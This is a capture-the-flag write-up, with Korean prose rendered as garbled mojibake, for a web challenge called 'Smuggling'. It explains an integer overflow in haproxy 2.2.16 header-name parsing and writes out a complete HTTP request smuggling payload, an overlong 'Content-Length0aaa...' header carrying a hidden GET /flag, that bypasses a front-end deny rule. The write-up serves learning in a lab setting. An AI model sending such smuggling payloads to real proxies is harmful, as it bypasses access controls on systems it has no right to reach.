wargame ๐Ÿด‍โ˜ ๏ธ write-up/H4CKING GAME

[Web Hacking] Smuggling

Kortsec1 2024. 12. 30. 01:03

0x01 ๋ฌธ์ œ ์„ค๋ช…


0x02 ํ’€์ด ๊ณผ์ •

A) ์ดˆ๊ธฐ ๋ถ„์„

python flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‹ค. ์ฒจ๋ถ€๋œ ์ฝ”๋“œ ์ค‘ docker-compose.yml ํŒŒ์ผ ์†์—” haproxy 2.2.16 ๋ฒ„์ „์„ ์‚ฌ์šฉํ•œ๋‹ค๊ณ  ๋ช…์‹œ๋˜์–ด์žˆ๋‹ค. ๋˜ํ•œ haproxy.cfg ํŒŒ์ผ์—๋Š” front-end ์„œ๋ฒ„ ์„ ์—์„œ ํŠน์ • ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ฐจ๋‹จ ํ•˜๋ฉฐ http ํ†ต์‹ ์„ ์žฌ์‚ฌ์šฉ(reuse) ํ•œ๋‹ค.

frontend web 
    bind *:8000  
    http-request deny if { path_beg /flag }
    http-request deny if { path_beg // }
    default_backend websrvs
backend websrvs 
    http-reuse always
    server srv1 flask:5000

์‹ค์ œ๋กœ /flag ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•ด๋ณด๋ฉด 403 ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์—ฌ๊ธฐ์„œ ํ’€์–ด ๋‚˜๊ฐ€์•ผ ํ•  ๋ฐฉํ–ฅ์„ ์žก์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

B) ๋ฌธ์ œ ์ ‘๊ทผ ๋ฐฉ๋ฒ•

HTTP Request Smuggling ๊ณต๊ฒฉ์€ ์ˆจ๊ฒจ์ง„ ์š”์ฒญ์„ back-end๋กœ ๋ณด๋‚ด์–ด, ๋‹ค์Œ ์ •์ƒ ์š”์ฒญ์ด ๋“ค์–ด์™”์„ ๋•Œ ํ•ด๋‹น ์š”์ฒญ์˜ ๊ฒฐ๊ณผ๋ฅผ ์ˆจ๊ฒจ์ง„ ์š”์ฒญ์˜ ๊ฒฐ๊ณผ๋กœ ๋ฐ”๊พธ๋Š” ๊ณต๊ฒฉ์ด๋‹ค. ๋ฌธ์ œ ์ƒํ™ฉ์—์„œ ์›ํ•˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  1. ์ •์ƒ์ ์ธ ์š”์ฒญ ์†์— /flag ๊ฒฝ๋กœ ์š”์ฒญ์„ ํฌํ•จํ•˜์—ฌ ๋ณด๋‚ธ๋‹ค.
  2. front-end ์„œ๋ฒ„๋Š” ์ •์ƒ์ ์ธ ์š”์ฒญ ์ด๊ธฐ์— ์ด๋ฅผ back-end ์„œ๋ฒ„๋กœ ๋ณด๋‚ด๊ฒŒ ๋˜๊ณ , ์ˆจ๊ฒจ์ง„ ์š”์ฒญ์ด back-end ์„œ๋ฒ„์— ๋‚จ๊ฒŒ ๋œ๋‹ค.
  3. ๋‹ค์Œ ์š”์ฒญ์ด ๋“ค์–ด์™”์„ ๋•Œ, back-end๋Š” ์ด๋ฅผ ํ•จ๊ป˜ ์ฒ˜๋ฆฌํ•˜๋ฉฐ ์ˆจ๊ฒจ์ง„ ์š”์ฒญ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋‚ธ๋‹ค.

C) ๊ณต๊ฒฉ ๊ณผ์ •

haproxy์˜ ํ•ด๋‹น ๋ฒ„์ „์€ integer overflow ๋ฅผ ํ†ตํ•ด HTTP Request Smuggling์ด ๊ฐ€๋Šฅํ•˜๋‹ค. haproxy๋Š” ์š”์ฒญ์„ ๋ฐ›์œผ๋ฉด, ์š”์†Œ๋ฅผ ํŒŒ์‹ฑํ•˜๋Š” ๊ณผ์ •์—์„œ HTX ๋ผ๋Š” ๊ตฌ์กฐ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๋Š” block์˜ info ํ•„๋“œ๋Š” ํ—ค๋” ์ด๋ฆ„์˜ ๊ธธ์ด(1 byte)์™€ ๊ฐ’์˜ ๊ธธ์ด๊ฐ€ ๋‹ด๊ธด๋‹ค. ์—ฌ๊ธฐ์„œ ํ—ค๋” ์ด๋ฆ„ ๋ถ€๋ถ„์„ ์ด์šฉํ•˜์—ฌ Request Smuggling์„ ์ง„ํ–‰ํ•˜์˜€๋‹ค.

1) Content-Length: 54
2) Content-LengthAA...AAA: 

์ •์ƒ์ ์ธ 1 ์˜ ๊ฒฝ์šฐ๋Š” ํ—ค๋” ์ด๋ฆ„ Content-Length ์˜ ๊ธธ์ด๊ฐ€ 14 (0b00001110) ๊ฐ€ ๋˜์ง€๋งŒ 2 ์˜ ๊ฒฝ์šฐ 270 (0b100001110) ๊ธธ์ด๋ฅผ ๋„ฃ์–ด, 1byte์˜ ๊ธฐ์ค€ ํฌ๊ธฐ๋ฅผ ๋„˜์–ด ์„ ๋‹ค. ์ด๋Š” front-end ์—์„œ๋Š” ๋น„์ •์ƒ ํ—ค๋”๋กœ ์ฒ˜๋ฆฌ๊ฐ€ ๋˜๊ฒ ์ง€๋งŒ, ํŒŒ์‹ฑ์„ ๊ฑฐ์นœ ํ›„ integer overflow ๊ฐ€ ์ผ์–ด๋‚˜ 270 ๊ธธ์ด๊ฐ€ ์•„๋‹Œ 14๊ธธ์ด๋กœ ๋‚จ๊ฒŒ ๋œ๋‹ค. back-end ์—์„œ๋Š” ๊ฒฐ๊ตญ Content-Length: 0 ๊ณผ๊ฐ™์ด ์ „๋‹ฌ๋ฐ›๋Š”๋‹ค.

POST / HTTP/1.1
Host: web.h4ckingga.me:10008
Content-Type: application/x-www-form-urlencoded
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 54

GET /flag HTTP/1.1
Host: web.h4ckingga.me:10008
x: x

์œ„์™€๊ฐ™์€ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด, front-end ๋Š” GET /flag HTTP/1.1 ์•„๋ž˜ ๋ถ€๋ถ„์„ ์ •์ƒ์ ์œผ๋กœ back-end๋กœ ๋„˜๊ธฐ๊ฒŒ ๋œ๋‹ค. ํ•˜์ง€๋งŒ, back-end ์—์„œ๋Š” ์•ž์„œ ๋น„์ •์ƒ ์ฒ˜๋ฆฌ ๋˜์—ˆ๋˜ Content-Length0a...aaa ๋ฅผ ์ •์ƒ์ ์œผ๋กœ ์ธ์‹ํ•˜๋ฉฐ ๋ฐ์ดํ„ฐ๋กœ ๋ณด๋‚ธ GET /flag HTTP/1.1 ์˜ ๋‚ด์šฉ์„ ์ƒˆ๋กœ์šด ์š”์ฒญ์˜ ์ผ๋ถ€๋กœ ๋ฐ›์•„๋“ค์ด๊ฒŒ ๋œ๋‹ค. ๊ทธ๋ฆฌํ•˜์—ฌ, ๋‹ค์Œ ์š”์ฒญ์ด ๋“ค์–ด์˜ค๋ฉด ๊ณต๊ฒฉ์ž์˜ ์˜๋„๋Œ€๋กœ /flag ํŽ˜์ด์ง€์˜ ์‘๋‹ต์ด ๋‚˜์˜จ๋‹ค.


0x03 ๊ฒฐ๊ณผ ํ™•์ธ

  • FLAG
  • H4CGM{asdfasdfasdfasdfasdf}

0x04 ํšŒ๊ณ  ๋ฐ ์ฐธ๊ณ  ๋‚ด์šฉ

HTTP Request Smuggling์— ๊ด€์‹ฌ์ด ์ ๋ฆฌ๋˜ ์š”์ฆ˜, ์ •๋ง ์‹œ๊ฐ„ ๊ฐ€๋Š”์ค„ ๋ชจ๋ฅด๊ณ  ํ’€์—ˆ๋˜ ๋ฌธ์ œ๋‹ค. ๊ธฐ๋ณธ์ ์ธ ๊ฐœ๋… ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์ž์ฒด ์˜ค๋ฅ˜๋„ ์•Œ์•„์•ผ ํ•˜๊ธฐ์— ๋‚œ์ด๋„๋Š” ๊ฝค ๋†’๋‹ค๊ณ  ๋Š๊ปด์กŒ๋‹ค.

์ฐธ๊ณ 

https://kortsec1n4mationm.tistory.com/77

https://kortsec1n4mationm.tistory.com/78

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > H4CKING GAME' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Web Hacking] Calculator v2  (0) 2025.01.02
[Web Hacking] Real PHP LFI  (0) 2025.01.02
[Web Hacking] Calculator  (1) 2024.12.19